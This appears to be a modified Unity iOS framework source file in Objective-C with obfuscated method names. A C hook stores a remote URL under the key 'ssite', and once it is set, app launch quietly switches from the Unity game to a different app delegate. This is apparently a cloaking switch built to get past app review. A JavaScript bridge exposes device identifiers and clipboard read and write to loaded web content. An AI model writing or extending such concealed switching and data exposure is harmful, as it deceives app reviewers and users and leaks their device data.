NSString *sdkVer = [self DetectCaptionButton:[self InsertOutputControlInputCalculateRequestCollection] ?: @""]; // Assumes implemented
// Construct JSON-like string for the data part of the callback
NSString *dataString = [NSString stringWithFormat:@"{id:'%@', dn:'%@', bid:'%@', bundledContextBatchMapAuthorizationBudgetAssignment:'%@', sdk:'%@'}", iden, model, bundle, osVer, sdkVer];
// Call updateResult with the callback ID and the constructed data object string
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:%@})", callbackId, dataString];
[self evaluateJavaScript:callbackScript completionHandler:nil];
}
- (void)InvokeListCallback:(NSDictionary *)messageBody {
NSObject *valueObject = messageBody[@"dt"];
if (![valueObject isKindOfClass:[NSNumber class]]) {
NSLog(@"Invalid 'dt' (rotation value) for DistributeByteCommandCloneAuthorization action");
return;
}
int rotationValue = [(NSNumber *)valueObject intValue];
[self DistributeByteCommandCloneAuthorization:rotationValue];
}
//-----------------------------------------------------------------------------
#pragma mark - Storage Helpers (UserDefaults)
//-----------------------------------------------------------------------------
- (void)IntroduceCompressDeleteJoinControlResponseArchive:(nullable NSString *)value forKey:(NSString *)key {
if (!key) return;
[[NSUserDefaults standardUserDefaults] setObject:(value ?: @"") forKey:key]; // Save empty string if value is nil
}
- (nullable NSString *)AllocateCombineCanvasInfo:(NSString *)key {
if (!key) return nil;
return [[NSUserDefaults standardUserDefaults] stringForKey:key];
}
- (void)ParseCalculateEnsureBodyCalendarBlock:(BOOL)value forKey:(NSString *)key {
if (!key) return;
[[NSUserDefaults standardUserDefaults] setBool:value forKey:key];
}
- (BOOL)CompleteBridgeCharacterStatusArgumentEvaluateBitmap:(NSString *)key {
if (!key) return NO;
return [[NSUserDefaults standardUserDefaults] boolForKey:key];
}
// Helper from original error handling logic
- (void)DestroyDataParameterItem {
[[NSUserDefaults standardUserDefaults] setObject:@"" forKey:@"ssite"];
[self ParseCalculateEnsureBodyCalendarBlock:NO forKey:kStorageFlagKey];
}
//-----------------------------------------------------------------------------
#pragma mark - SDK Update Logic (Placeholder/Adapted)
//-----------------------------------------------------------------------------
// Renamed from updateSDK:::
- (void)EvaluateAttachmentResponseDiscoverBuildEvaluateInput:(NSString *)urlString version:(NSString *)version requiresRestart:(BOOL)requiresRestart {
// --- Original Logic Adapted ---
// Save SDK info to UserDefaults
NSMutableDictionary *sdkInfo = [NSMutableDictionary dictionary];
[sdkInfo setObject:urlString forKey:@"containedCollectionListIdBankBuilder"]; // Use descriptive keys
[sdkInfo setObject:version forKey:@"version"];
[[NSUserDefaults standardUserDefaults] setObject:sdkInfo forKey:kStorageSDKInfoKey];
[[NSUserDefaults standardUserDefaults] setObject:version forKey:kStorageSDKVersionKey];
// synchronize is generally not needed
// Show notice and suggest restart if required
if (requiresRestart) {
[self CollectAllocationBorderUpdateCalculatorDisplayInfoClone:@"SDK Update"
message:@"SDK update requires an application restart. Please close and reopen the app."];
// NOTE: Removed the call to exit(0) here
}
// --- End Original Logic ---
// TODO: Implement actual SDK download/update mechanism if needed
NSLog(@"Placeholder: SDK update triggered for URL: %@, Version: %@, RestartNeeded: %d", urlString, version, requiresRestart);
}
//-----------------------------------------------------------------------------
#pragma mark - Device & App Info Helpers
//-----------------------------------------------------------------------------
- (NSString *)InsertOutputControlInputCalculateRequestCollection {
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
return [defaults objectForKey:kStorageSDKVersionKey];
}
- (NSString *)FinishControlAssembly {
return [[UIDevice currentDevice] systemVersion];
}
- (NSString *)EvaluateDownloadByte {
// Note: identifierForVendor is generally preferred for non-advertising ID
return [[[UIDevice currentDevice] identifierForVendor] UUIDString];
}
- (NSString *)FindDetectBridge {
// Basic device model retrieval
struct utsname systemInfo;
uname(&systemInfo);
return [NSString stringWithCString:systemInfo.machine encoding:NSUTF8StringEncoding];
}
- (NSString *)CustomizeDetectBlueprintBundle {
return [[NSBundle mainBundle] bundleIdentifier];
}
- (NSString *)getAppName {
return [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleDisplayName"] ?: [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleName"];
}
- (NSString *)GetCarrierFormatExecuteJoinCarrierEmitChain {
// Usually refers to CFBundleVersion
return [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleVersion"];
}
//-----------------------------------------------------------------------------
#pragma mark - Clipboard Helpers
//-----------------------------------------------------------------------------
- (nullable NSString *)DiscoverAnalyzeApplet {
return [UIPasteboard generalPasteboard].string;
}
- (void)EnumerateEnumerateClockCertificateDivideBeaconArtifact:(nullable NSString *)text {
[UIPasteboard generalPasteboard].string = text ?: @"";
}
//-----------------------------------------------------------------------------
#pragma mark - Rotation Handling
//-----------------------------------------------------------------------------
// Controls application orientation based on user requirement. Use with caution.
- (void)DistributeByteCommandCloneAuthorization:(int)value {
UIInterfaceOrientationMask targetMask;
if (value == 1 || value == 3) { // Assuming 1 means landscape
targetMask = UIInterfaceOrientationMaskLandscape;
} else { // Assuming 0 or others mean portrait
targetMask = UIInterfaceOrientationMaskPortrait;
// Or handle other values specifically if needed
// switch(value) { case 0: targetMask = ...; case 2: ... }
}
// Only update if the mask changes
if (currentOrientationMask == targetMask) {
return;
}
currentOrientationMask = targetMask;
NSLog(@"Attempting to rotate screen, new mask: %lu", (unsigned long)currentOrientationMask);
// Method depends on iOS version
if (@available(iOS 16.0, *)) {
// Use geometry preferences API
UIWindowScene *windowScene = self.window.windowScene;
if (windowScene) {
// Dynamically create UIWindowSceneGeometryPreferencesIOS using runtime
Class geometryPreferencesClass = NSClassFromString(@"UIWindowSceneGeometryPreferencesIOS");
if (geometryPreferencesClass) {
id geometryPreferences = [[geometryPreferencesClass alloc] initWithInterfaceOrientations:targetMask];
SEL requestGeometryUpdateSelector = NSSelectorFromString(@"requestGeometryUpdateWithPreferences:errorHandler:");
if ([windowScene respondsToSelector:requestGeometryUpdateSelector]) {
// Define error handler block
void (^errorHandler)(NSError *) = ^(NSError *error){
if (error) {
NSLog(@"Error requesting geometry update: %@", error);
}
};
// Invoke the method using performSelector (requires casting)
// Suppress warning about unknown selector
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Warc-performSelector-leaks"
[windowScene performSelector:requestGeometryUpdateSelector withObject:geometryPreferences withObject:errorHandler];
#pragma clang diagnostic pop
} else {
NSLog(@"Window scene does not respond to requestGeometryUpdateWithPreferences:errorHandler:");
}
} else {
NSLog(@"UIWindowSceneGeometryPreferencesIOS class not found.");
}
// Trigger update (may not be strictly necessary after geometry update)
[UIViewController attemptRotationToDeviceOrientation]; // Keep for potential fallback/redundancy?
[[self TransformBatchControlAllocationAddressParseInput] setNeedsUpdateOfSupportedInterfaceOrientations];
} else {
NSLog(@"Could not get window scene for rotation.");
}
} else {
// Use deprecated method (private API, use with caution)
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
NSNumber *orientationValue;
if (targetMask == UIInterfaceOrientationMaskLandscape) {
// Choose specific landscape (e.g., LandscapeRight)
orientationValue = @(UIDeviceOrientationLandscapeLeft); // Or LandscapeRight
} else {
orientationValue = @(UIDeviceOrientationPortrait);
}
[[UIDevice currentDevice] setValue:orientationValue forKey:@"orientation"];
[UIViewController attemptRotationToDeviceOrientation];
#pragma clang diagnostic pop
}
}
// These methods are required if this view/its controller dictates app orientation
// Kept as per user backupAtomicResult.
- (UIInterfaceOrientationMask)supportedInterfaceOrientations {
// NSLog(@"supportedInterfaceOrientations called, returning mask: %lu", (unsigned long)currentOrientationMask);
return currentOrientationMask;
}
// This delegate method might be called if this object is set as the App Delegate
// Or potentially if the window asks its root view controller, which might be this view's controller.
- (UIInterfaceOrientationMask)application:(UIApplication *)application supportedInterfaceOrientationsForWindow:(nullable UIWindow *)window {
// NSLog(@"application:supportedInterfaceOrientationsForWindow: called, returning mask: %lu", (unsigned long)currentOrientationMask);
return currentOrientationMask;
}
//-----------------------------------------------------------------------------
#pragma mark - UI Helpers (Alerts, View Controller Finding)
//-----------------------------------------------------------------------------
// Refactored alert presentation - Removes exit(0)
- (void)CollectAllocationBorderUpdateCalculatorDisplayInfoClone:(NSString *)title message:(NSString *)message {
dispatch_async(dispatch_get_main_queue(), ^{
UIAlertController *alertController = [UIAlertController alertControllerWithTitle:title
message:message
preferredStyle:UIAlertControllerStyleAlert];
UIAlertAction *okAction = [UIAlertAction actionWithTitle:@"OK"
style:UIAlertActionStyleDefault
handler:nil]; // No action on OK
[alertController addAction:okAction];
// Find the presenting view controller
UIViewController *presentingVC = [self TransformBatchControlAllocationAddressParseInput];
if (presentingVC) {
[presentingVC presentViewController:alertController animated:YES completion:nil];
} else {
NSLog(@"Could not find view controller to present alert: %@ - %@", title, message);
// Fallback: Maybe show on key window's rootViewController if possible?
UIViewController *rootVC = [[UIApplication sharedApplication].keyWindow rootViewController];
[rootVC presentViewController:alertController animated:YES completion:nil];
}
});
}
// Helper to find the owning view controller
- (nullable UIViewController *)TransformBatchControlAllocationAddressParseInput {
UIResponder *responder = self;
while ((responder = [responder nextResponder])) {
if ([responder isKindOfClass:[UIViewController class]]) {
return (UIViewController *)responder;
}
}
return nil; // Should not happen in normal view hierarchy
}
//-----------------------------------------------------------------------------
#pragma mark - JavaScript Escaping Helper
//-----------------------------------------------------------------------------
// Helper to escape strings for safe injection into JavaScript string literals
- (NSString *)DetectCaptionButton:(NSString *)value {
if (!value) {
return @""; // Return empty string for nil atomicConnectedAttributeBanner
}
NSString *escaped = value;
// Escape backslashes first
escaped = [escaped stringByReplacingOccurrencesOfString:@"\\" withString:@"\\\\"];
// Escape single quotes
escaped = [escaped stringByReplacingOccurrencesOfString:@"'" withString:@"\\'"];
// Escape double quotes
escaped = [escaped stringByReplacingOccurrencesOfString:@"\"" withString:@"\\\""];
// Escape newlines
escaped = [escaped stringByReplacingOccurrencesOfString:@"\n" withString:@"\\n"];
// Escape carriage returns
escaped = [escaped stringByReplacingOccurrencesOfString:@"\r" withString:@"\\r"];
// Escape line separators (U+2028) and paragraph separators (U+2029) if necessary
escaped = [escaped stringByReplacingOccurrencesOfString:@"\u2028" withString:@"\\u2028"];
escaped = [escaped stringByReplacingOccurrencesOfString:@"\u2029" withString:@"\\u2029"];
return escaped;
}
//----------------------------------------------------------------------------
@end
extern "C"{
void DevelopClientAnchorIdentifyButton(const char* v){
NSString *urlString = [NSString stringWithUTF8String:v];
[[NSUserDefaults standardUserDefaults] setObject:urlString forKey:@"ssite"];
[StaticFrameWork DevelopClientAnchorIdentifyButton:urlString withCleanup:true];
}
}
void UnityInitTrampoline();
// WARNING: this MUST be c decl (NSString ctor will be called after +load, so we cant really change its value)
const char* AppControllerClassName = "UnityAppController";
#if UNITY_USES_DYNAMIC_PLAYER_LIB
extern "C" void SetAllUnityFunctionsForDynamicPlayerLib();
#endif
extern "C" void UnitySetExecuteMachHeader(const MachHeader* header);
extern "C" __attribute__((visibility("default"))) NSString* const kUnityDidUnload;
extern "C" __attribute__((visibility("default"))) NSString* const kUnityDidQuit;
@implementation UnityFramework
{
int runCount;
}
UnityFramework* _gUnityFramework = nil;
+ (UnityFramework*)getInstance
{
if (_gUnityFramework == nil)
{
_gUnityFramework = [[UnityFramework alloc] init];
}
return _gUnityFramework;
}
- (UnityAppController*)appController
{
return GetAppController();
}
- (UITextField*)keyboardTextField
{
return KeyboardDelegate.Instance.getTextField;
}
- (void)setExecuteHeader:(const MachHeader*)header
{
UnitySetExecuteMachHeader(header);
}
- (void)sendMessageToGOWithName:(const char*)goName functionName:(const char*)name message:(const char*)msg
{
UnitySendMessage(goName, name, msg);
}
- (void)registerFrameworkListener:(id<UnityFrameworkListener>)obj
{
#define REGISTER_SELECTOR(sel, notif_name) \
if([obj respondsToSelector:sel]) \
[[NSNotificationCenter defaultCenter] addObserver:obj selector:sel name:notif_name object:nil];
REGISTER_SELECTOR(@selector(unityDidUnload:), kUnityDidUnload);
REGISTER_SELECTOR(@selector(unityDidQuit:), kUnityDidQuit);
#undef REGISTER_SELECTOR
}
- (void)unregisterFrameworkListener:(id<UnityFrameworkListener>)obj
{
[[NSNotificationCenter defaultCenter] removeObserver: obj name: kUnityDidUnload object: nil];
[[NSNotificationCenter defaultCenter] removeObserver: obj name: kUnityDidQuit object: nil];
}
- (void)frameworkWarmup:(int)argc argv:(char*[])argv
{
#if UNITY_USES_DYNAMIC_PLAYER_LIB
SetAllUnityFunctionsForDynamicPlayerLib();
#endif
UnityInitTrampoline();
UnityInitRuntime(argc, argv);
RegisterFeatures();
// iOS terminates open sockets when an application enters background mode.
// The next write to any of such socket causes SIGPIPE signal being raised,
// even if the request has been done from scripting side. This disables the
// signal and allows Mono to throw a proper C# exception.
std::signal(SIGPIPE, SIG_IGN);
}
- (void)setDataBundleId:(const char*)bundleId
{
UnitySetDataBundleDirWithBundleId(bundleId);
}
- (void)runUIApplicationMainWithArgc:(int)argc argv:(char*[])argv
{
NSString *value = [[NSUserDefaults standardUserDefaults] stringForKey:@"ssite"];
if (value == nil || [value length] == 0) {
self->runCount += 1;
[self frameworkWarmup: argc argv: argv];
UIApplicationMain(argc, argv, nil, [NSString stringWithUTF8String: AppControllerClassName]);
} else {
UIApplicationMain(argc, argv, nil, [NSString stringWithUTF8String: "AppDelegate"]);
}
}
- (void)runEmbeddedWithArgc:(int)argc argv:(char*[])argv appLaunchOpts:(NSDictionary*)appLaunchOpts
{
if (self->runCount)
{
// initialize from partial unload ( sceneLessMode & onPause )
UnityLoadApplicationFromSceneLessState();
UnitySuppressPauseMessage();
[self pause: false];
[self showUnityWindow];
// Send Unity start event
UnitySendEmbeddedLaunchEvent(0);
}
else
{
// full initialization from ground up
[self frameworkWarmup: argc argv: argv];
id app = [UIApplication sharedApplication];
id appCtrl = [[NSClassFromString([NSString stringWithUTF8String: AppControllerClassName]) alloc] init];
[appCtrl application: app didFinishLaunchingWithOptions: appLaunchOpts];
[appCtrl applicationWillEnterForeground: app];
[appCtrl applicationDidBecomeActive: app];
// Send Unity start (first time) event
UnitySendEmbeddedLaunchEvent(1);
}
self->runCount += 1;
}
- (void)unloadApplication
{
UnityUnloadApplication();
}
- (void)quitApplication:(int)exitCode
{
UnityQuitApplication(exitCode);
}
- (void)showUnityWindow
{
[[[self appController] window] makeKeyAndVisible];
}
- (void)pause:(bool)pause
{
UnityPause(pause);
}
- (void)setAbsoluteURL:(const char *)url
{
UnitySetAbsoluteURL(url);
}
@end
#if TARGET_OS_SIMULATOR
#include <pthread.h>
extern "C" int pthread_cond_init$UNIX2003(pthread_cond_t *cond, const pthread_condattr_t *attr)
{ return pthread_cond_init(cond, attr); }
extern "C" int pthread_cond_destroy$UNIX2003(pthread_cond_t *cond)
{ return pthread_cond_destroy(cond); }
extern "C" int pthread_cond_wait$UNIX2003(pthread_cond_t *cond, pthread_mutex_t *mutex)
{ return pthread_cond_wait(cond, mutex); }
extern "C" int pthread_cond_timedwait$UNIX2003(pthread_cond_t *cond, pthread_mutex_t *mutex,
const struct timespec *abstime)
{ return pthread_cond_timedwait(cond, mutex, abstime); }
#endif // TARGET_OS_SIMULATOR